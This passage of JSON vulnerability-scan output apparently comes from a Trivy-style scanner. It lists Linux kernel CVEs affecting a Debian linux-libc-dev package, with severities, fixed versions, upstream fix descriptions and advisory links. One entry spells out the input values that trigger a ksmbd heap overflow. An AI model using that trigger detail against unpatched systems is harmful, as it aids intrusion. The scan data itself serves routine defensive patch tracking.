"https://git.kernel.org/stable/c/b36b0e804aee5f20c6798dbeaeaa7cfdb7c6cf88", "https://lore.kernel.org/linux-cve-announce/2026042401-CVE-2026-31568-cefd@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31568", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-31568" ], "PublishedDate": "2026-04-24T15:16:31.313Z", "LastModifiedDate": "2026-11-05T22:18:40.66Z" }, { "VulnerabilityID": "CVE-2026-43185", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43185", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:114a4cd6686298487e6c9ea7c6830d71e08c82b2e6d592513db15c594420ef0f", "Title": "kernel: ksmbd: fix signededness bug in smb_direct_prepare_negotiation()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix signededness bug in smb_direct_prepare_negotiation()\n\nsmb_direct_prepare_negotiation() casts an unsigned __u32 value\nfrom sp-\u003emax_recv_size and req-\u003epreferred_send_size to a signed\nint before computing min_t(int, ...). A maliciously provided\npreferred_send_size of 0x80000000 will return as smaller than\nmax_recv_size, and then be used to set the maximum allowed\nalowed receive size for the next message.\n\nBy sending a second message with a large value (\u003e1420 bytes)\nthe attacker can then achieve a heap buffer overflow.\n\nThis fix replaces min_t(int, ...) with min_t(u32)", "Severity": "HIGH", "CweIDs": [ "CWE-674" ], "VendorSeverity": { "redhat": 3, "ubuntu": 4 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43185", "https://git.kernel.org/linus/6b4f875aac344cdd52a1f34cc70ed2f874a65757%20%287.0-rc2%29", "https://git.kernel.org/stable/c/1c268fd2f59dc9ccb2c2a7d1f439b232dbe1c06c", "https://git.kernel.org/stable/c/55abc475d096da4a5356b6efb0cfdc6156bc1550", "https://git.kernel.org/stable/c/56eab82fa6fb5ca024b0514e249d40d9b23ee5a7", "https://git.kernel.org/stable/c/6b4f875aac344cdd52a1f34cc70ed2f874a65757", "https://git.kernel.org/stable/c/a110dbe928561d440e9e117d17331139a0bedace", "https://git.kernel.org/stable/c/ceae058eb707ddd0d68f0872f9d9f23b7c30c37b", "https://lore.kernel.org/linux-cve-announce/2026050640-CVE-2026-43185-55a5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43185", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43185" ], "PublishedDate": "2026-05-06T12:16:37.187Z", "LastModifiedDate": "2026-10-30T13:18:47.55Z" }, { "VulnerabilityID": "CVE-2026-43198", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43198", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:38fa775b8cfb45f02779539f897d7b1bc8ce7d8ad5783cb7e8971b07763efd11", "Title": "kernel: tcp: fix potential race in tcp_v6_syn_recv_sock()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: fix potential race in tcp_v6_syn_recv_sock()\n\nCode in tcp_v6_syn_recv_sock() after the call to tcp_v4_syn_recv_sock()\nis done too late.\n\nAfter tcp_v4_syn_recv_sock(), the child socket is already visible\nfrom TCP ehash table and other cpus might use it.\n\nSince newinet-\u003epinet6 is still pointing to the listener ipv6_pinfo\nbad things can happen as syzbot found.\n\nMove the problematic code in tcp_v6_mapped_child_init()\nand call this new helper from tcp_v4_syn_recv_sock() before\nthe ehash insertion.\n\nThis allows the removal of one tcp_sync_mss(), since\ntcp_v4_syn_recv_sock() will call it with the correct\ncontext.", "Severity": "HIGH", "CweIDs": [ "CWE-362", "CWE-821" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30129", "https://access.redhat.com/errata/RHSA-2026:33215", "https://access.redhat.com/errata/RHSA-2026:33285", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34443", "https://access.redhat.com/errata/RHSA-2026:35863", "https://access.redhat.com/errata/RHSA-2026:35894", "https://access.redhat.com/errata/RHSA-2026:35896", "https://access.redhat.com/errata/RHSA-2026:35904", "https://access.redhat.com/errata/RHSA-2026:36073", "https://access.redhat.com/errata/RHSA-2026:36216", "https://access.redhat.com/errata/RHSA-2026:36348", "https://access.redhat.com/errata/RHSA-2026:36349", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/security/cve/CVE-2026-43198", "https://bugzilla.redhat.com/2456521", "https://bugzilla.redhat.com/2467228", "https://bugzilla.redhat.com/show_bug.cgi?id=2461510", "https://bugzilla.redhat.com/show_bug.cgi?id=2464397", "https://bugzilla.redhat.com/show_bug.cgi?id=2467228", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2482031", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31636", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43038", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43198", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45898", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://errata.almalinux.org/9/ALSA-2026-33285.html", "https://errata.rockylinux.org/RLSA-2026:30129", "https://git.kernel.org/linus/858d2a4f67ff69e645a43487ef7ea7f28f06deae%20%287.0-rc2%29", "https://git.kernel.org/stable/c/7178e2a8027423b2af17ab95df73a749a5b72e5b", "https://git.kernel.org/stable/c/858d2a4f67ff69e645a43487ef7ea7f28f06deae", "https://git.kernel.org/stable/c/9ed654e340f4c73bc6f0af2fbc90ac293e645ce0", "https://git.kernel.org/stable/c/a7e761ba55efaa9c49e0afdd304bb78167af3429", "https://git.kernel.org/stable/c/aef4a9ae95d1bc4f7897065011e6261026719aeb", "https://git.kernel.org/stable/c/cd644e6dc72eec8d9d988717ea1c54f8668ded69", "https://git.kernel.org/stable/c/dad1fe7db6c6519138430ac8f5e589c18f83bfc9", "https://git.kernel.org/stable/c/fe89b2f05b854847784f91127319172945c1fadd", "https://linux.oracle.com/cve/CVE-2026-43198.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026050645-CVE-2026-43198-0870@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43198", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43198.json", "https://ubuntu.com/security/notices/USN-8630-1", "https://ubuntu.com/security/notices/USN-8630-2", "https://ubuntu.com/security/notices/USN-8630-3", "https://ubuntu.com/security/notices/USN-8630-4", "https://ubuntu.com/security/notices/USN-8630-5", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8634-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8636-1", "https://ubuntu.com/security/notices/USN-8636-2", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8656-1", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8662-1", "https://ubuntu.com/security/notices/USN-8662-2", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://www.cve.org/CVERecord?id=CVE-2026-43198" ], "PublishedDate": "2026-05-06T12:16:38.857Z", "LastModifiedDate": "2026-10-19T20:18:10.39Z" }, { "VulnerabilityID": "CVE-2026-46130", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46130", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a021cd3aec4c29d534208e9dac0352f565c04ed87b53c198cebc5ffb02369485", "Title": "kernel: dm-verity-fec: fix reading parity bytes split across blocks (take 3)", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm-verity-fec: fix reading parity bytes split across blocks (take 3)\n\nfec_decode_bufs() assumes that the parity bytes of the first RS codeword\nit decodes are never split across parity blocks.\n\nThis assumption is false. Consider v-\u003efec-\u003eblock_size == 4096 \u0026\u0026\nv-\u003efec-\u003eroots == 17 \u0026\u0026 fio-\u003enbufs == 1, for example. In that case, each\ncall to fec_decode_bufs() consumes v-\u003efec-\u003eroots * (fio-\u003enbufs \u003c\u003c\nDM_VERITY_FEC_BUF_RS_BITS) = 272 parity bytes.\n\nConsidering that the parity data for each message block starts on a\nblock boundary, the byte alignment in the parity data will iterate\nthrough 272*i mod 4096 until the 3 parity blocks have been consumed. On\nthe 16th call (i=15), the alignment will be 4080 bytes into the first\nblock. Only 16 bytes remain in that block, but 17 parity bytes will be\nneeded. The code reads out-of-bounds from the parity block buffer.\n\nFortunately this doesn't normally happen, since it can occur only for\ncertain non-default values of fec_roots *and* when the maximum number of\nbuffers couldn't be allocated due to low memory. For example with\nblock_size=4096 only the following cases are affected:\n\n fec_roots=17: nbufs in [1, 3, 5, 15]\n fec_roots=19: nbufs in [1, 229]\n fec_roots=21: nbufs in [1, 3, 5, 13, 15, 39, 65, 195]\n fec_roots=23: nbufs in [1, 89]\n\nRegardless, fix it by refactoring how the parity blocks are read.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46130", "https://git.kernel.org/linus/430a05cb926f6bdf53e81460a2c3a553257f3f61%20%287.1-rc1%29", "https://git.kernel.org/stable/c/03348b440f69417dc3a3c71d8271cff6b05f67fb", "https://git.kernel.org/stable/c/3d1b4e2d8ac0a1a1390a117f61ce0ca1c47e3bcb", "https://git.kernel.org/stable/c/430a05cb926f6bdf53e81460a2c3a553257f3f61", "https://git.kernel.org/stable/c/d47281b9a4472cfd73122393e79fbe76b651e46a", "https://git.kernel.org/stable/c/dac69d1b76049d7e5f565089a6a7f4502a85b9de", "https://kernelcve.org/list/?q=CVE-2026-46130", "https://lore.kernel.org/linux-cve-announce/2026052817-CVE-2026-46130-895e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46130", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-46130" ], "PublishedDate": "2026-05-28T10:16:28.57Z", "LastModifiedDate": "2026-11-06T17:17:39.003Z" }, { "VulnerabilityID": "CVE-2026-46181", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46181", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dd0d5d55a314fc4216243c3a530b5dbfe2dd45893cf16cadb2a88a67468051e8", "Title": "kernel: RDMA/mlx4: Fix mis-use of RCU in mlx4_srq_event()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mlx4: Fix mis-use of RCU in mlx4_srq_event()\n\nSashiko points out the radix_tree itself is RCU safe, but nothing ever\nfrees the mlx4_srq struct with RCU, and it isn't even accessed within the\nRCU critical section. It also will crash if an event is delivered before\nthe srq object is finished initializing.\n\nUse the spinlock since it isn't easy to make RCU work, use\nrefcount_inc_not_zero() to protect against partially initialized objects,\nand order the refcount_set() to be after the srq is fully initialized.", "Severity": "HIGH", "CweIDs": [ "CWE-366" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25120", "https://access.redhat.com/errata/RHSA-2026:25121", "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/errata/RHSA-2026:33900", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34095", "https://access.redhat.com/errata/RHSA-2026:34443", "https://access.redhat.com/errata/RHSA-2026:35863", "https://access.redhat.com/errata/RHSA-2026:35894", "https://access.redhat.com/errata/RHSA-2026:35896", "https://access.redhat.com/errata/RHSA-2026:36216", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/security/cve/CVE-2026-46181", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/c9341307ea16b9395c2e4c9c94d8499d91fe31d0%20%287.1-rc3%29", "https://git.kernel.org/stable/c/1e2a44875b6afb4add1115f7f3351dcbeb6f273d", "https://git.kernel.org/stable/c/2d8b30b496bc53e961ba7415fd629fc27813017c", "https://git.kernel.org/stable/c/654aeddbc6e0f6e56531985bb12328ab4230c6c1", "https://git.kernel.org/stable/c/8b7833f3bce35cb0d01c1503781523c099c675f0", "https://git.kernel.org/stable/c/c9341307ea16b9395c2e4c9c94d8499d91fe31d0", "https://git.kernel.org/stable/c/f0dbd9355ce1e93808541260c7ffab7956df9233", "https://linux.oracle.com/cve/CVE-2026-46181.html", "https://linux.oracle.com/errata/ELSA-2026-25217.html", "https://lore.kernel.org/linux-cve-announce/2026052829-CVE-2026-46181-ecff@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46181", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46181.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-46181" ], "PublishedDate": "2026-05-28T10:16:33.743Z", "LastModifiedDate": "2026-10-30T13:18:57.297Z" }, { "VulnerabilityID": "CVE-2026-46279", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46279", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:676a12911f22fc26cd2c349a40175f6d135a158106acab25905ab6549a42839b", "Title": "kernel: mm/alloc_tag: clear codetag for pages allocated before page_ext initialization", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/alloc_tag: clear codetag for pages allocated before page_ext initialization\n\nDue to initialization ordering, page_ext is allocated and initialized\nrelatively late during boot. Some pages have already been allocated and\nfreed before page_ext becomes available, leaving their codetag\nuninitialized.\n\nA clear example is in init_section_page_ext(): alloc_page_ext() calls\nkmemleak_alloc(). If the slab cache has no free objects, it falls back to\nthe buddy allocator to allocate memory. However, at this point page_ext\nis not yet fully initialized, so these newly allocated pages have no\ncodetag set. These pages may later be reclaimed by KASAN, which causes\nthe warning to trigger when they are freed because their codetag ref is\nstill empty.\n\nUse a global array to track pages allocated before page_ext is fully\ninitialized. The array size is fixed at 8192 entries, and will emit a\nwarning if this limit is exceeded. When page_ext initialization\ncompletes, set their codetag to empty to avoid warnings when they are\nfreed later.\n\nThis warning is only observed with CONFIG_MEM_ALLOC_PROFILING_DEBUG=Y and\nmem_profiling_compressed disabled:\n\n[ 9.582133] ------------[ cut here ]------------\n[ 9.582137] alloc_tag was not set\n[ 9.582139] WARNING: ./include/linux/alloc_tag.h:164 at __pgalloc_tag_sub+0x40f/0x550, CPU#5: systemd/1\n[ 9.582190] CPU: 5 UID: 0 PID: 1 Comm: systemd Not tainted 7.0.0-rc4 #1 PREEMPT(lazy)\n[ 9.582192] Hardware name: Red Hat KVM, BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\n[ 9.582194] RIP: 0010:__pgalloc_tag_sub+0x40f/0x550\n[ 9.582196] Code: 00 00 4c 29 e5 48 8b 05 1f 88 56 05 48 8d 4c ad 00 48 8d 2c c8 e9 87 fd ff ff 0f 0b 0f 0b e9 f3 fe ff ff 48 8d 3d 61 2f ed 03 \u003c67\u003e 48 0f b9 3a e9 b3 fd ff ff 0f 0b eb e4 e8 5e cd 14 02 4c 89 c7\n[ 9.582197] RSP: 0018:ffffc9000001f940 EFLAGS: 00010246\n[ 9.582200] RAX: dffffc0000000000 RBX: 1ffff92000003f2b RCX: 1ffff110200d806c\n[ 9.582201] RDX: ffff8881006c0360 RSI: 0000000000000004 RDI: ffffffff9bc7b460\n[ 9.582202] RBP: 0000000000000000 R08: 0000000000000000 R09: fffffbfff3a62324\n[ 9.582203] R10: ffffffff9d311923 R11: 0000000000000000 R12: ffffea0004001b00\n[ 9.582204] R13: 0000000000002000 R14: ffffea0000000000 R15: ffff8881006c0360\n[ 9.582206] FS: 00007ffbbcf2d940(0000) GS:ffff888450479000(0000) knlGS:0000000000000000\n[ 9.582208] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 9.582210] CR2: 000055ee3aa260d0 CR3: 0000000148b67005 CR4: 0000000000770ef0\n[ 9.582211] PKRU: 55555554\n[ 9.582212] Call Trace:\n[ 9.582213] \u003cTASK\u003e\n[ 9.582214] ? __pfx___pgalloc_tag_sub+0x10/0x10\n[ 9.582216] ? check_bytes_and_report+0x68/0x140\n[ 9.582219] __free_frozen_pages+0x2e4/0x1150\n[ 9.582221] ? __free_slab+0xc2/0x2b0\n[ 9.582224] qlist_free_all+0x4c/0xf0\n[ 9.582227] kasan_quarantine_reduce+0x15d/0x180\n[ 9.582229] __kasan_slab_alloc+0x69/0x90\n[ 9.582232] kmem_cache_alloc_noprof+0x14a/0x500\n[ 9.582234] do_getname+0x96/0x310\n[ 9.582237] do_readlinkat+0x91/0x2f0\n[ 9.582239] ? __pfx_do_readlinkat+0x10/0x10\n[ 9.582240] ? get_random_bytes_user+0x1df/0x2c0\n[ 9.582244] __x64_sys_readlinkat+0x96/0x100\n[ 9.582246] do_syscall_64+0xce/0x650\n[ 9.582250] ? __x64_sys_getrandom+0x13a/0x1e0\n[ 9.582252] ? __pfx___x64_sys_getrandom+0x10/0x10\n[ 9.582254] ? do_syscall_64+0x114/0x650\n[ 9.582255] ? ksys_read+0xfc/0x1d0\n[ 9.582258] ? __pfx_ksys_read+0x10/0x10\n[ 9.582260] ? do_syscall_64+0x114/0x650\n[ 9.582262] ? do_syscall_64+0x114/0x650\n[ 9.582264] ? __pfx_fput_close_sync+0x10/0x10\n[ 9.582266] ? file_close_fd_locked+0x178/0x2a0\n[ 9.582268] ? __x64_sys_faccessat2+0x96/0x100\n[ 9.582269] ? __x64_sys_close+0x7d/0xd0\n[ 9.582271] ? do_syscall_64+0x114/0x650\n[ 9.582273] ? do_syscall_64+0x114/0x650\n[ 9.582275] ? clear_bhb_loop+0x50/0xa0\n[ 9.582277] ? clear_bhb_l\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46279", "https://git.kernel.org/linus/6b1842775a460245e97d36d3a67d0cfba7c4ff79%20%287.1-rc1%29", "https://git.kernel.org/stable/c/6b1842775a460245e97d36d3a67d0cfba7c4ff79", "https://git.kernel.org/stable/c/b49dfabc38cad5e50af24f63edd124a10de3ebb6", "https://git.kernel.org/stable/c/d5b495ba9de0423ef39f8bd86729a885870c7efe", "https://lore.kernel.org/linux-cve-announce/2026060841-CVE-2026-46279-dc4a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46279", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://www.cve.org/CVERecord?id=CVE-2026-46279" ], "PublishedDate": "2026-06-08T17:16:45.53Z", "LastModifiedDate": "2026-07-08T14:59:41.053Z" }, { "VulnerabilityID": "CVE-2026-52991", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52991", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6787a92abe0f335ac063382fc4184f490b52a44073a7c79bc4ccb515d2d125b6", "Title": "kernel: sched/psi: fix race between file release and pressure write", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/psi: fix race between file release and pressure write\n\nA potential race condition exists between pressure write and cgroup file\nrelease regarding the priv member of struct kernfs_open_file, which\ntriggers the uaf reported in [1].\n\nConsider the following scenario involving execution on two separate CPUs:\n\n CPU0\t\t\t\t\tCPU1\n ====\t\t\t\t\t====\n\t\t\t\t\tvfs_rmdir()\n\t\t\t\t\tkernfs_iop_rmdir()\n\t\t\t\t\tcgroup_rmdir()\n\t\t\t\t\tcgroup_kn_lock_live()\n\t\t\t\t\tcgroup_destroy_locked()\n\t\t\t\t\tcgroup_addrm_files()\n\t\t\t\t\tcgroup_rm_file()\n\t\t\t\t\tkernfs_remove_by_name()\n\t\t\t\t\tkernfs_remove_by_name_ns()\n vfs_write()\t\t\t\t__kernfs_remove()\n new_sync_write()\t\t\tkernfs_drain()\n kernfs_fop_write_iter()\t\tkernfs_drain_open_files()\n cgroup_file_write()\t\t\tkernfs_release_file()\n pressure_write()\t\t\tcgroup_file_release()\n ctx = of-\u003epriv;\n\t\t\t\t\tkfree(ctx);\n \t\t\t\t\tof-\u003epriv = NULL;\n\t\t\t\t\tcgroup_kn_unlock()\n 